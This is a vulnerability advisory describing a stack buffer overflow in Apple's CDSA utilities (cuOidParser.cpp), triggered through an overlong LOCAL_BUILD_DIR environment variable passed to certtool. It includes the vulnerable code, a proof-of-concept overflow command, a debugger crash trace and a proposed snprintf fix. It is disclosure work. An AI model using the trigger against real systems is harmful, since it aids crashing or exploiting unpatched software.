pub

VuNote

Author:	        <github.com/tintinweb>, pinky
Ref:            https://github.com/tintinweb/pub/tree/master/pocs/nocve-2017-macos-oidparser-certtool
Version:        0.2
Date:           Oct 09th, 2016

Tag:            certtool cuOidParser sprintf buffer overwrite

Overview

Name:              Cryptographic services - libsecurity_cdsa_utils
Vendor:            Apple Computer, Inc
References:        [1]

Version:           macOS (10.6)
Latest Version:	   -
Other Versions:    <= 10.6 (at least). verified not affected >= 10.12
Platform(s):       OS x, Linux
Technology:        C++

Vuln Classes:      CWE-120: Buffer Copy without Checking Size of Input
Origin:	           local
Min. Privs.:       -

CVE:

* NOTE:            Marked as Deprecated Technologies
                   /!\ This issue was silently fixed between 10.6 and 10.12

Description

The CDSA utilities are part of the Cryptographic Services provided by Apple Computer Inc [4].

quote website [4]

CDSA is an Open Source security architecture adopted as a technical standard by the Open Group. Apple has developed its own Open Source implementation of CDSA, available as part of Darwin at Apple’s Open Source site. The core of CDSA is CSSM (Common Security Services Manager), a set of Open Source code modules that implement a public application programming interface called the CSSM API. CSSM provides APIs for cryptographic services (such as creation of cryptographic keys, encryption and decryption of data), certificate services (such as creation of digital certificates, reading and evaluation of digital certificates), secure storage of data, and other security services (see Apple CDSA Plug-ins for a more complete list).

Summary

The CDSA Util library as part of the cryptographic services provided by Apple Computer Inc is missing a bounds-check for a stack buffer in ooidparser when processing the environment variable LOCAL_BUILD_DIR. In cuOidParser.cpp::readConfig an environment variable CONFIG_FILE_ENV="LOCAL_BUILD_DIR" is being read. This input is of arbitrary length but copied to a fixed 100 character array filename. By providing a value of more than 100 characters to that environment variable the stack buffer filename is overwritten and consequently the pointer to localBuildDir on the stack. This library is, for example, used in certtool [5] which is used for the attached PoC.

Note: macOS 10.12 (or before) was silently patched to use asprintf instead of sprintf and is therefore not affected anymore

Image Ida certtool 10.12 fixed

Details

The vulnerable code is located in cuOidParser.cpp [3] at line 127. The function sprintf(dest, format, ...) sends formatted output to the string dest. As the formatted string is composite of localBuildDir and CONFIG_FILE_NAME the length of the destination can be exceeded. Consequently dest is ‘overwritten’ if the formatted string does not fit.

121		char fileName[100];
122		char *localBuildDir  = getenv(CONFIG_FILE_ENV);
123		if(localBuildDir == NULL) {
124			rtn = 1;
125		}
126		else {
127			sprintf(fileName,  "%s/%s", localBuildDir, CONFIG_FILE_NAME);
128			rtn = readFileExtra(fileName, 1, &configData->Data,
129				&configData->Length);
130		}

The variable filename is defined with a length of 100 characters as can be seen in lines 121. The user tainted localBuildDir read from the environment variable CONFIG_FILE_EMV (line 122) is used in line 127 and creates the stack overflow.

Proof of Concept

Prerequisites:

  1. Create a certificate, we use lala.pem

  2. Run LOCAL_BUILD_DIR=$(python -c 'print "A"*300') certtool d lala.pem to trigger the overflow.

Additionally

  1. Use a debugging tool like lldb to collect a stack trace by calling LOCAL_BUILD_DIR=$(python -c 'print "A"*300') lldb -- certtool d lala.pem and run the code in lldb.

Exec:

brain1-1:~ pinky$ LOCAL_BUILD_DIR=$(python -c 'print "A"*300') lldb -- certtool d lala.pem
(lldb) target create "certtool"
Current executable set to 'certtool' (x86_64).
(lldb) settings set -- target.run-args  "d" "lala.pem"
(lldb) run
Process 34489 launched: '/usr/bin/certtool' (x86_64)
Process 34489 stopped
* thread #1: tid = 0x211e05, 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
    frame #0: 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10
libsystem_kernel.dylib`__pthread_kill + 10:
-> 0x7fff8e681866:  jae    0x7fff8e681870            ; __pthread_kill + 20
   0x7fff8e681868:  movq   %rax, %rdi
   0x7fff8e68186b:  jmp    0x7fff8e67e175            ; cerror_nocancel
   0x7fff8e681870:  retq
(lldb) bt all
* thread #1: tid = 0x211e05, 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
  * frame #0: 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007fff8741235c libsystem_pthread.dylib`pthread_kill + 92
    frame #2: 0x00007fff89ae1bc6 libsystem_c.dylib`__abort + 145
    frame #3: 0x00007fff89ae2479 libsystem_c.dylib`__stack_chk_fail + 196
    frame #4: 0x0000000100006a34 certtool`___lldb_unnamed_function115$$certtool + 250

Proposed Patch

Limit the characters written by changing sprintf for snprintf with the size of the destination buffer (-1 for the \0).

127	- sprintf(..,...)
127	+ snprintf(filename, sizeof(filename)-1, "%s/%s", ...)

Notes

If LOCAL_BUILD_DIR=$(python -c 'print "A"*300') certtool d lala.pem as in step 2) of the PoC the program will abort with Abort trap: 6, the binary is most likely compiled with the fortify_source. However, this might not be the case for third party applications using this library.

References

[1] https://developer.apple.com/library/content/documentation/Security/Conceptual/cryptoservices/CDSA/CDSA.html
[2] https://github.com/Apple-FOSS-Mirror/Security
[3] https://github.com/Apple-FOSS-Mirror/Security/tree/master/libsecurity_cdsa_utils
[4] https://developer.apple.com/library/prerelease/content/documentation/Security/Conceptual/cryptoservices/Introduction/Introduction.html
[5] https://github.com/Apple-FOSS-Mirror/Security/blob/7adf341b856468eac2593bbd8db85b19a785bc42/libsecurity_cdsa_utils/lib/cuOidParser.cpp

Contact

https://github.com/tintinweb